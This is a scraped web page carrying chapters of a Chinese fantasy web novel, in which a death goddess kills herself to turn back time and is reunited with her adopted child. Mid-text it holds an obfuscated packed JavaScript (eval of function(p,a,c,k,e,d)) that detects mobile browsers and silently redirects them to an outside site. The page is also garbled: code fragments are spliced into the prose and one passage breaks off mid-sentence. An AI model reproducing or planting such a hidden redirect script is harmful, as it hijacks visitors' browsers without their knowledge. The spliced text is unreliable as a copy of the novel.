$(''.inform'').remove(); $(''#content'').append('' /p> 「愚灵柩」直挺挺地跪在地上,如枯木的僵硬手指抓住段心慈的衣摆仿佛在抓一根救命的稻草—— “那时……我是有多么喜悦啊。” 从第一个死在代号十里的灵魂……然后是第二个、第三个。 它觉得新奇,好似再一次获得生命。 然而,都是假象。 第十个的时候就已经难以忍受了。 我们吵吵闹闹,分歧不断。 代号十里的死者数量一直再增加。 死后被尽数困在「柩」中,并且完全看不到离开的希望。 数百…数千数万……十万百万……千万… 最后数以亿计死去的灵魂塞在这副小小的躯壳里… 多数时候是无意义凄厉的哀叫,还有少数一些极为混乱的情感。 没有离开的可能。 并且死亡的数量还在时间暴政下无止境地增长。 「愚灵柩」没有发现,它现在只能发出混沌的呓语了。 时间即将崩毁的神殿里,死亡之神阖上眼。 除了波绪拿的死完全是自己的责任…… 「柩」的行为已经将段心慈推到悬崖边缘。 艾里门的眼睛。 顾屿的眼睛。 完全错误的,却要双方付出惨烈的代价。 黑猫没说,但想也知道那1/2灵魂死而复生的代价。 她无意让对方偿还,时间遗留的错误。 本可以活下去的涅挪双子被「柩」献祭给自己。 元翎在「柩」的蛊惑里心甘情愿走向时间,与「柩」融为一体。 还有……她自己。 另一半灵魂永远消失在错位的诅咒里。 如果她当初没有杀死海兔,一切是否会不一样? 如果当时她杀死波绪拿的动作再快一点,是不是就能赶上? 不…… 爱人已经在她的躯壳里死亡。 “段心慈,祢不想挽回这一切吗?” 「柩」蛊惑道:“如果不是祢,这些事就不会发生。” “祢去死,去死好不好。” 说着,它从口袋里掏出来一本脏兮兮的书:《∞重启论》。 “喏,我的珍藏,现在给祢了。第十九页就有。” 看得出它等这一天等了很久,就连准备都如此充分。 现下再去深究「柩」的心理历程没有意义,段心慈神情微妙地接过翻到第十九页。 没有花里胡哨的编纂,只有简单明了的解决方案。 《∞重启论》第三章: 以独立宇宙为1单位,大范围空间为100-10000单位。 单次大范围空间-逆转时间,经验证,步骤与所需如下: 1.存在级神灵神座神域,三者缺一不可。 2.需要被献祭神祇的自愿(标亮)献祭。 3.自戮,方式不限。 4.重启后,择一过去时间节点进入。不可窥探或选择未来节点(标亮) 5.献祭者会在新世界里死于旧世界的祭日(标亮)无论是否达成目的。 6.逆转范围内,仅被献祭神祇拥有逆转前记忆。 7.期间禁止进行任何违规操作——例如大范围屠杀生灵。 备注:因缺乏大量实验数据,以上内容均不绝对。仅供参考。 看到最后一句话段心慈没拿稳,手抖了一下:“……?” 【匿名】看到死亡之神居然真的打算往自己给祂的那条康庄大路上走,高兴得又当场表演了一场烟花秀。 实话实说,在今天之前…… 「柩」完全不知道它费尽心思所做的这一系列动作里—— 哪些可以真正触怒段心慈的杀心? 哪些又可以使她暂时压下杀意……选择心甘情愿自尽,倒转时间? 但是现在它看清了。 无论是艾里门·歌德缺失的左眼,还是被它献祭给死亡的【生者】与【死者】,都只能让这个疯子徒增杀意。 绝非忍耐与献祭自我。 能让段心慈选择回到过去甘心去死的,唯独她的爱人。 可笑的是……只有这件事不在它安排中。 69.在爱里彼此舍弃 ‘不过没关系。’ ‘只要祂愿意按照我事先设想的去做就好!’ 过程出错不重要,结果是自己想要的足矣。 看完这章后,段心慈顺手把这本书上从头到尾翻了个遍。 有意思的是,不算「柩」替她翻开的那页…… 其余书页即使看过背下,只要合上书本,就再记不得哪怕一丝一毫。 合上书本,实话说青年不认为自己一定会死。 并且在她看来,重新赋予自我抉择的机会是必要的。 即便结局真的无可避免地步入死亡……若能重新见到所爱,哪怕只有短短十天。 死亡之神想:哪怕是半天她也会去做到的。 “对了…” 「愚灵柩」黏嗒嗒湿乎乎地开口:“祢最好,把时间定在第五日清晨就够了。” “如果祢想让【虔诚者】那个…花瓶也复活……” 它阴森地捡起自己散落满地的碎片:“我一定、一定会赶在祢之前,再次杀掉他。” ‘卡利安·尤菲比祢更该死!一千倍一万倍!那个死有余辜的贱货!!’ 像是知道死亡之神内心所想,它紧跟其后补充道:“是私仇。” “是我和他,与祢无关的私仇。” 该说不说,「柩」确实对每一位TOP.1都很了解。 此话一出,段心慈决计不会参与到和自身没有半点关系的私下恩怨里。 至于「柩」本身,死亡之神会在重启的世界里杀死它。 一切就都结束了。 ‘可惜。’ 段心慈不打算按照「柩」,或者说那个在她心底称得上无可厚非的道路行事。 这本书关于重启的信息并不详尽。 时间回转,那灵魂呢? 回转后的灵魂,还是现在的灵魂吗? 祂在此之前从未尝试过回转世界这件事。 但凡有一丝一毫的余地…… 死亡之神当然不希望时间回到过去,身边的灵魂却不是现在的灵魂。 若是没有余地呢…… 她在心中询问自己。 若是覆灭了现在,回到过去,熟悉的灵魂却已经不在。 为和爱人再次相见,段心慈可以不在乎许多。 其余灵魂是生是死与她何干? 就像现在。 她不在乎忒尼斯·厄洛诺斯到底少了几条祖传项链;不在乎一念之差的【生者】与【死者】;不在乎元翎在「柩」的身体里过得究竟怎么样。 当然也不在乎左眼框里塞满棉花球的顾屿。 ……唯独艾里门·歌德,她不能置之不顾。 不能冒险。 无论是哪一个段心慈,都不会在抉择里舍弃这个由自己亲手拉大的孩子。 ‘那就自戮吧。’ ‘回到过去也会死去,倒不如让我独自来承担这一次死亡。’ ‘不要带上任何其它。’ 亲爱的,我们像一对相向而行的陨星。 总要擦肩而过。 在「愚灵柩」狂热的目光下,段心慈自身后无尽宇宙中抽出一把漆黑冷寂的弯刀。 锋利的刀刃架在「柩」的脖颈上。 它露出癫狂的喜悦神情:‘对,就是这样。’ ‘杀死我。给我自由。’ 死亡之神问它:“你要自由?” 「柩」颤栗着点头。它当然看得出!在这把由奇点铸成的弯刀下,自己会失去转生的机会…… 但那又如何? 这已经很好了。 它激怒段心慈到这个地步,自知不再奢求更好。 玄发青年扯了扯唇角:“那太遗憾了。” 最后一眼看向精神世界中沉睡不醒的inK…… 死亡之神调转刀尖,对准自己的心脏—— 刺入。 由【猎途座】压缩到极致而成的奇点在她胸腔的心脏中颤动,几乎与痉挛的心跳融为一体。 喷溅的鲜血像某种开裂的物质—— 浓郁的恶意、狂躁在充斥这血液里。 不像什么花,更像一颗半空炸开的子弹。 子弹里装填的也不是火药,而是一些令见者感到难以言喻的恐惧。 「愚灵柩」浑身僵硬立在原地,眼睁睁地看着段心慈死在自己面前。 它完全不能理解发生在自己面前的一幕。 就像它从来没有想过…… 段心慈可以为半身毁灭世界,自然也可以为半身殉葬。 神殿的大门发出一声刺耳的声响。 「愚灵柩」如同卡顿的影像一帧一帧地回过头…… 然后柩看见将五指死死扣进大门,满身缠满绷带的高大身影—— 艾里门·歌德。 “是、你!” 看到艾里门·歌德的瞬间,「愚灵柩」还有什么不明白? 一个在段心慈心中占据近一半地位的养子。 它从不认为艾里门·歌德可以动摇段心慈的决定。 直到这一刻,它惊觉自己错得离谱。 “是、你——!” 「柩」恶狠狠地瞪视着棕色发丝的青年,几欲发狂。 然而此时此刻无论再做什么,都不会有希望了。 它不去看段心慈的尸体,欲夺门而出。 艾里门·歌德一把按下「柩」的肩膀,力道之大让那只手臂本就脆弱的骨骼寸寸断裂。 她只是五指掐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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‘至于其他的……’ 忒尼斯闭上眼。 ‘恕我无法信任。’ 我们都曾行在各自的歧路上。 时间里,我们做错太多选择,又忘记太多罪责。 但现在,是时候,有机会,将它们一一找回。 (第三卷完) 70.生命有限的时间 段心慈没想过自己还能有重新睁开眼的一天。 目之所及是初生的太阳。 清晨的光辉像薄纱,透彻而朦胧。 “好怜悯啊。” 身后,咸腥与潮湿涌来。 青年近乎觳觫地回头,对上一双布满阴翳的藻绿色双目。 ‘艾里门现在和顾屿待在一起!’ 这念头几乎同闪电般劈进她的脑海。 电光石火间,段心慈不退反进:“祢要和我说海兔的事,是吗?” “祢居然知道?” 波绪拿神情怔愣一瞬。 下一秒她怒不可遏:“祢居然知道!” “是。” 段心慈扯开缠上自己腰腹的巨藻,直视面前暴怒的【摇篮】:“她还活着。” ‘只不过转世了。’ “放开我,我知道她在哪里。” ‘然而其中灵魂的变量我也无从知晓。’ 换做从前,她决计不会玩弄语言的游戏,但……死过一次,还谈什么想不想? 波绪拿咬紧后槽牙:“我凭什么信祢!” “祢已经是复仇之神了,波绪拿。” 从自戮死去的段心慈,站在波绪拿面前的那一刻起。 “祢已经成功了。” ‘而我失去曾经的一切,绝不能再失去现在。’ 【摇篮】从没有见过玩家首席如此失态的模样。 迟疑两秒,她缓缓松开那些狰狞虬结的巨藻藤。 段心慈身形消失。 几乎同时, 顾屿指间的手术刀即将贴上艾里门·歌德的眼眶,Y国港口仓库的金属天花板在绝对强悍的力量下应声而裂—— 从天而降的玄发青年左臂勒紧顾屿的脖颈,把对方死死控在自己身前。 没有半点防备的预言师就这样被带了个踉跄。 段心慈趁此机会劈手躲过对方手中寒芒闪烁的刀刃,将顾屿勒倒在地。 趴在地上和水泥对视的预言之神:“?” 不知为何,她脑袋里突兀地蹦出一个字:「劫」。 “顾屿。T.T-Carro没有死!” 段心慈却不给预言任何反应的机会,伸手拦在棕色眼睛的孩子身前—— 她几乎是咆哮着喊出那句已经积压心底太久的话:“我根本没动过它!” “……噢…好的。” 顾屿摸了把自己被撞到疼痛难忍的鼻梁骨:“…对不起。” ‘劫。’ 预言之神心下嘀咕:‘你背着我重生。’ 艾里门·歌德震惊抬头—— 在世界重启前,她从未想过眼前的人会记得那些事。 她一切一切的初衷,不过是想要段心慈幸福美满。 就算这份美满是以自己的性命为代价,她心甘情愿,并为此感到由衷的快乐。 长发青年不知她心中所想,只是战栗着转过身,试图用双手去触碰那张缠满绷带的脸…… 艾里门立刻微微弯腰低下脑袋,将下巴搭在对方温冷的掌心。 段心慈一把捧住艾里门的脸,左看看右看看。 艾里门像只昏昏欲睡的大猫,眯着眼睛享受和对方靠近的每一刻。 没有受伤,一点血都没有。 两只眼睛好端端的,小心地觑着捧住自己脸颊的死亡之神。 段心慈几乎是脱力地靠在身后桌沿上:‘……我的孩子…’ 下一刻,仓库大门被撞开—— 九个脑袋的狐蛇扶着门框,气息不稳地扫视了一圈仓库内的情形。 看到段心慈也在,忒尼斯·厄洛诺斯下意识松上一口气。 “…我……” 她磕磕巴巴地解释起来:“……我就是,突然想拯救世界。” ‘见鬼的拯救世界。’ ‘艾里门·歌德没事才好。’ 被诡计之神惦记的人就站在段心慈身后。 那双棕色的眼睛盯着忒尼斯,直到把狐蛇看得心底发毛—— 她抬手在左眼旁边比了个耶。 忒尼斯·厄洛诺斯:“……” ‘……算了…你开心就好。’ 死过一遭,许多事她也在逐渐想通。 仓库外,元翎和匆匆赶到的谢挽非小队碰面。 从始至终,谢挽非都是特殊的存在。 她对逆转时间的计划一无所知,却依旧能记得前一轮发生的一切。 “「柩」。” 少年凑近元翎,问:“你欠了它什么?” 顶着【匿名】恶毒的窥视,谢挽非后退一步,抬起头:“不管你欠它什么。” 元翎与一双无尽辉煌,璀璨到怪诞的眼瞳对视,耳旁响起虚幻的声音—— “从今往后都不作数。” 在呆滞的元翎跟前打了个响指,谢挽非笑容明朗:“回神啦。” 元翎表情惊悚地向后蹿出一段距离。 ‘奇怪……’ 刚刚…是【主角】在和自己讲话吗? ‘为什么…我记不清了?’ 没理会身后那些探究的神色,谢挽非大跨步走进仓库—— “段心慈,好久不见。” 倒也没有很久。 只不过,死亡确实是世界上较为长远的距离。 * 另一边,【摇篮】也终于意识到段心慈身上的异样。 前一秒这人还是那副要死不活的模样,下一秒突然就跟疯了般。 预知?占卜? 不,祂灵魂深处的复仇神座不能作假。 这说明至少在另一个地方……祂成功复仇了。 所以是重生? ‘死亡之神,祢最好不要欺骗我。’ 收起侵占整颗星球的海藻沼泽,波绪拿神情变得玩味且恶意满满。 ‘否则我绝不会像刚才一样放过祢。’ * 段心慈顺着少年的声音抬头,回答道:“好久不见。” 透过自己粉色的墨镜,谢挽非看见对方挂在胸前,第一次完整无缺的爱神牌。 少年唇角微勾。 “毁灭世界是上一次的事情啦!” 她随手摘下墨镜别在衣领,态度坦然:“我是来投敌的。” 谢挽非身边的维莉亚·涅挪&嘉里亚·涅挪:“……” 那他们先前分组的意义究竟是什么? ‘戏耍代号十吗?’ 这次玩家们重回监狱换上常服后直接进入世界核心,没有惊动狱警。 蔚蓝的宫殿里,「胎儿」静静悬浮在荧蓝的海水中,四周柔和的生命力缓缓波动。 段心慈上前一步站在操作台面前,她身上没有携带任何药剂。 顾屿掀目,手中把玩着两支颜色迥异的药剂:“这一次……?” 话没说完,预言之神眼皮一跳。 操作台前,阴郁的玄发青年割开手掌,殷红温热的鲜血顺着无数脐带的其中一支流进世界核心体内。 那是战争、死亡与……胜利的神血。 时间的毒药无法救世。 胜利的鲜血比之如何? 预言之神脸上笑容无声扩大——她喜欢这位神祇。 两支时间的药剂被舍弃,预言割开掌心,暗紫鎏金的神血淅淅沥沥地淌进凹槽。 谢挽非明显跃跃欲试,但顾屿态度温和兼强硬地拦下她。 “你最好还是不要。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539374|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 预言之神目光古怪地落在谢挽非身上:“虚无之子。” 祂终于意识到对方的身份,异样在于何处—— 存在的背面,真理世界的BUG。 真理的铁律在虚无面前什么都不是。 而虚无…… 虚无没有铁律。 谢挽非:“……哎?” “等绿赛图斯变成捧花…” 顾屿拍了拍她的肩胛:“不是,我是说,等这一切结束……我推荐你去个地方。” 谢挽非盯着顾屿。 她没看错,预言之神是故意说错话的。 祂根本就是对绿赛图斯变成捧花这件事喜闻乐见,难以忘怀。 看了半天热闹,忒尼斯·厄洛诺斯头上的狐狸耳朵转了转。 跃跃欲试的玩家从虚无之子变成了狐蛇。 祂一把拽过最不爱吃爆米花的八号蝰蛇:“那让我来!” 八号谴责地看着主脑。 不去理会神经兮兮的八号,忒尼斯掰开蝰蛇的吻部对准自己虎口咬下,黏稠的血瞬间蜿蜒而出。 像雨后黄昏瑰丽的晚霞。 八号吐了吐信子:‘……吓死蛇了。’ 其祂拥有神座的玩家:‘……诡计的神血,应该不是这个颜色?’ 现在深想也没有意义。 毕竟这头厄洛诺斯的血已经顺着脐带流进世界核心体内。 趁着世界核心运行的空当,死亡之神走到【生者】与【死者】面前:“无论「柩」曾经和你们说了什么。” 维莉亚·涅挪睁大眼睛。 “我发誓,从来不曾想过要杀死你们。” 段心慈神情恹恹:‘杀死自己曾经救过的生命,行径未免太糟糕。’ 维莉亚·涅挪不觉得段心慈会说谎,那…… ‘「柩」是出了什么问题吗?’ 和她抱有同样想法的还有嘉里亚·涅挪。 段心慈的实力摆在那里,何况祂不是喜欢给予猎物希望又碾碎的类型。 「柩」和历届玩家首席的关系更像一种惯性默认…… 但谁也不保证这样的默认不会在某天打破。 旁听的【匿名】:“……” ‘你们一个两个都玩重生这套,很有趣吗?’ 想到这儿它掏出手帕擤了擤鼻涕。 ‘太难受了。真的。’ 然而,论起此时有谁要比「愚灵柩」更难受,当属时间之神绿赛图斯。 时间被倒转,祂也活了过来。 作为时间的主神,祂当然不可能失忆。时间之灵也没有。 绿赛图斯的记忆停留在被段心慈拧断脖颈,抛进虚无的一刻。 而时间之灵则留在它步入奇点背后的刹那。 “哎哟,捧花复活了。” 神殿内,时间之灵猖狂大笑。 “祢真该看见自己那时候的表情,简直太可笑了。” “我说祢现在主动投降说不定还会落得个轻松的死法。” 时间之灵提议得十分恶毒:“不管是什么死法,都不会比上一次更糟糕啦哈哈哈哈!” 绿赛图斯捂住阵阵抽痛的额角:“……闭嘴。” 祂现在是被迫释怀了。 再不甘心又怎样? 最后肯定要被段心慈杀死。 那群变态、疯子、精神病爱干什么就干什么…… 祂要在生命有限的时间里睡一觉。 被段心慈扔进奇点给祂带来的精神折磨太大,时间之神已经不想和无理取闹的灵再争辩任何。 看着倒头就睡的绿赛图斯,时间之灵心底冷笑。 ‘…睡吧睡吧,最好一觉睡到段心慈把祢头拧掉。’